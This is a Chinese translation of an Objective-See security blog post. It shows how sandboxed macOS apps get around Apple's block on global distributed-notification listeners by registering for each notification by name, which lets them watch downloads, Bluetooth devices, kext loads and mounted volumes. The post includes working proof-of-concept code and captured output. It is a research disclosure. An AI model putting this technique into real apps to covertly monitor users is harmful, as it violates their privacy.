原文:https://objective-see.com/blog/blog_0x39.html
在本文中,我将详细介绍一个微不足道的隐私问题,尽管苹果公司已经试图解决这个问题(力度并不大),但沙箱应用程序还是可以通过这些技术暗中监视毫无戒心的用户,这些技术甚至能在最新版本的macOS系统上使用!
注意:这个问题最早在Objective-See的Mac安全会议上公布,相关议题为Objective by the Sea。本文更深入地探讨了相关技术细节。演讲文稿请参考Protecting the Garden of Eden。
从安全和隐私的角度来看,沙箱是一个很好的解决办法。 在正确设计和实现的沙箱的约束下,应用程序会在很多方面受到各种限制。例如,除了其他各种限制之外,应用程序不能任意访问用户文件(比如用户图片或下载文件)、捕获用户键盘输入信息或破坏操作系统。这真是极好的事情。
当然,任何沙箱在实现上都会有其缺陷,导致恶意应用程序能够完全“逃离”沙箱,或者虽然仍然在沙箱中,但可以绕过某些特定的沙箱约束。在这篇文章中,我们阐述的是后一种情况,也就是略微绕过Apple在“分布式通知”方面的沙箱限制,获取沙箱外部环境的一些信息,监控(某些)用户隐私操作和操作系统行为。
OSX/macOS允许应用或系统组件“跨越任务边界”来广播通知。由于这些事件通过DistributedNotificationCenter
类进行广播,因此我们通常将其称为“分布式通知”。根据分布式通知类的文档中的描述,Apple声明此类是“一种通知调度机制,可以跨任务边界广播通知”。
更具体一点:
DistributedNotificationCenter
实例会广播NSNotification
对象,将其广播到已注册到默认分布式通知中心的其他任务中的对象。
在下文中我们很快就会看到,一旦任何时候应用程序、程序和系统守护进程在全局广播各种通知,只要我们注册一个全局分布式通知监听器,就可以了解到关于系统以及用户的很多信息,这一点非常有趣。
为了全局注册以便接收所有分布式通知,我们只需调用CFNotificationCenterAddObserver
函数,将name
参数设置为nil
即可(如下所示)。这样只要目标广播分布式通知,系统就会调用我们指定的回调函数。
代码如下所示,我们注册了一个全局分布式通知监听器(注意:name
参数值为nil
,表明我们想要监听所有通知):
//callback
// invoked anytime anybody broadcasts a notification
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf,
const void *object, CFDictionaryRef userInfo)
{
NSLog(@"event: %@", (__bridge NSString*)name_cf);
NSLog(@"user info: %@", userInfo);
NSLog(@"object: %@", (__bridge id)object);
return;
}
int main(int argc, const char * argv[])
{
//register for distributed notifications
// note: as name is nil, this means "all"
CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback,
nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
[[NSRunLoop currentRunLoop] run];
return 0;
}
注意:我们也可以通过NSDistributedNotificationCenter
方法来全局注册,以接收所有分布式通知:
- (void)addObserver:(id)observer
selector:(SEL)selector
name:(NSNotificationName)name
object:(NSString *)object
suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;
如果我们编译并执行以下代码,就可以开始观察各种系统事件,例如屏幕锁定及解锁、屏幕保护程序启动及停止、蓝牙活动、网络活动和用户文件下载:
$ ./sniffsniff
2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked
2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501
2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked
2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501
2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch
2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart
2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: {
runFromPref = 0;
}
2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop
2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop
2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: {
runFromPref = 0;
}
2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan
2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc
2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished
2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip
注意:
CFDictionaryRef userInfo
以及const void *object
的值取决于具体通知。比如,对于com.apple.DownloadFileFinished
通知,object
参数会包含已下载的文件名。
按照Apple的设计,注册这样一个全局监听器并不需要特殊的权限,这一点非常好。但是,在沙箱的上下文中,系统显然不应该传递这类的通知(发送到沙箱的全局侦听器),因为至少从隐私的角度来看,这显然违反了沙箱隔离的基本概念。
Apple明确(并且正确地)认识到一点,从隐私(也可能是安全性)的角度来看,沙箱应用程序不应该能够获取全局分布式通知。因此,如果沙箱应用尝试注册全局分布式通知,那么操作系统沙箱应该严格阻止此操作:
$ ./sniffsniff
2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing.
Date/Time: Mon Nov 19 21:21:41 2018
OS Version: 18B75
Application: sniffsniff
Backtrace:
0 CoreFoundation 0x00007fff3c082c46 __CFGenerateReport + 197
1 CoreFoundation 0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035
2 CoreFoundation 0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14
3 Foundation 0x00007fff3e28845a -[NSDistributedNotificationCenter
addObserver:selector:name:object:suspensionBehavior:] + 233
4 Foundation 0x00007fff3e28836b -[NSDistributedNotificationCenter
addObserver:selector:name:object:] + 29
5 sniffsniff 0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142
很好,看来Apple的macOS沙箱的确在尝试阻止(在沙箱中运行的)恶意应用程序全局嗅探分布式通知,如上输出和环境中的提示信息:*** attempt to register for all distributed notifications thwarted by sandboxing
。
那么是否一切正常?
不幸的是,事实与Apple公司的愿望相反。换句话说,这个机制并没有经过深思熟虑。虽然系统试图阻止从应用沙箱中接收(全局)分布式通知,但我们还是能找到解决办法,如下问所述。
已打全补丁的Mojave系统(可能拓展到其他版本的macOS)无法充分阻止沙箱应用程序接收分布式通知(其中可能包含敏感信息)。尽管Apple会阻止这类应用程序注册全局接收分布式通知接收器(即将name
参数设置为nil
),但没有采取其他措施阻止沙箱应用通过名称(例如com.apple.DownloadFileFinished
)来注册接收任何通知。 因此,恶意应用可以直接通过名称来注册任何(或者所有?)分布式通知,从而轻而易举地避开Apple对沙箱的限制。虽然这个操作需要一些额外的代码行,但最终任何应用程序都可以通过多次注册,接收(捕获)所有分布式通知,即使位于沙箱中也能完成这个任务!
我们来看一个例子。 假设恶意应用程序想要监视用户下载行为。如果恶意应用运行在macOS沙箱的上下文中,那么通常这是严格禁止的行为。这一点非常正常,根据定义,沙箱的功能就是提供隔离环境,保护用户的安全和隐私。
然而,通过名称来注册接收com.apple.DownloadFileFinished
分布式通知,(沙箱)应用程序仍然可以秘密监视用户下载的所有文件:
首先,让我们确保我们的恶意应用程序(sniffsniff
)的确在沙箱中运行:
然后,让我们编写一些代码来监听com.apple.DownloadFileFinished
分布式通知:
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo)
{
NSLog(@"event: %@", (__bridge NSString*)name_cf);
NSLog(@"user info: %@", userInfo);
NSLog(@"object: %@", (__bridge id)object);
return;
}
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
NSString* name = @"com.apple.DownloadFileFinished";
CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil,
callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
}
从macOS沙箱中运行sniffsniff
,可以发现即使是打全补丁的Mojave环境中,我们也能偷偷监控用户的下载行为:
./sniffsniff
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null)
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov
注意:
com.apple.DownloadFileFinished
分发通知似乎仅会广播从用户浏览器下载的文件进。然而,这竟然包括以隐身模式下载的内容!
现在,重要的是要注意一点,虽然我们现在可以在沙箱中监视用户下载行为,但由于其他沙箱限制规则,我们实际上无法读取此类文件的内容,然而文件名本身可能已经告诉我们一些信息。
由于我们必须通过名称来注册每个通知(为了规避沙箱保护),那么问题来了,我们要如何确定感兴趣的通知的名称(即com.apple.DownloadFileFinished
等)。虽然可能有一个 更全面的解决方案,但我选择简单的方法,为所有分布式通知安装一个全局监听器(当然这必须在沙箱之外完成),然后只需观察通知名称即可。返回沙箱环境,限制我们可以注册任何感兴趣的通知(通过名称技巧)。
虽然我们可以使用前文提供的代码,但这里我使用了Digita Security提供的更为强大的功能:MonitorKit
(即将发布的一个框架)。由于这个框架包含一个全局分布式通知的监视器,因此我们可以在几行代码中激活监视器,开始接收所有广播分发通知的名称:
import Cocoa
import MonitorKit
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
func applicationDidFinishLaunching(_ aNotification: Notification) {
//call into MonitorKit
// enable 'distributed notifications' monitor
let monitor = DistributedNotifcationsMonitor()
monitor.start() { event in
print("event: ", event.name.rawValue)
if let userInfo = event.userInfo {
print("event info: ", userInfo)
}
if let object = event.object {
print("event object: ", object)
}
}
}
}
注意:这是Swift代码。
执行此代码后,我们可以得到一些有趣的分布式通知(恶意沙箱应用程序可以注册这些通知来观察外部消息):
com.apple.LaunchServices.applicationRegistered
event info: [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>(
com.objective-see.KnockKnock)
com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification
event info: [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
com.apple.sharedfilelist.change
event info: [AnyHashable("originatorAuditToken"): ]
event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat
event info: [AnyHashable("originatorAuditToken"): ]
event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
Loaded Kext Notification
KextArrayKey = (
"com.apple.message.bundleID" = "com.objective-see.lulu";
"com.apple.message.kextname" = "LuLu.kext";
"com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext";
"com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
com.apple.DownloadFileFinished
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
com.apple.MultitouchSupport.HID.DeviceAdded
event info: [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
com.apple.bluetooth.status
event info: [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>(
{
ADDRESS = "60-c5-47-89-08-cc";
NAME = "Apple Trackpad";
"PRODUCT_ID" = 782;
"SNIFF_ATTEMPTS" = 2;
"VENDOR_ID" = 1452;
},
{
ADDRESS = "04-52-c7-77-0d-4e";
NAME = "Bose QuietComfort 35";
"PRODUCT_ID" = 16396;
"SNIFF_ATTEMPTS" = 1;
"VENDOR_ID" = 158;
},
{
ADDRESS = "34-88-5d-6b-5b-49";
NAME = "Logitech K811";
"PRODUCT_ID" = 45847;
"SNIFF_ATTEMPTS" = 1;
"VENDOR_ID" = 1133;
})
com.apple.unmountassistant.process.start
event info: [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]
注意:这并不是完整的分布式通知名称列表,大家可以继续挖掘。
macOS沙箱的功能非常明确,就是用来防止沙箱应用程序深入了解用户和系统操作隐私数据。Apple清楚地意识到全局分布式通知监听器可能会破坏这些设计目标,因而会尝试阻止这类行为:
*** attempt to register for all distributed notifications thwarted by sandboxing.
不幸的是,Apple的尝试并没有真正起作用,因此无法避免这种情况(这种情况非常正常)。只要简单地使用名称来注册通知,沙箱应用程序就可以不断注册,最终接收(捕获)所有分布式通知。 使用这种方法,沙箱应用就可以违反核心沙箱原则,通过执行以下操作来破坏用户的隐私:跟踪新应用程序的安装、监视正在使用的各种文件和应用程序、跟踪已加载的文件夹、观察用户下载行为等等。
虽然如此,(从我个人角度来看)这个问题本身并不构成安全漏洞,但显然违反了macOS沙箱的设计目标,因此Apple肯定会再次尝试修复这个问题。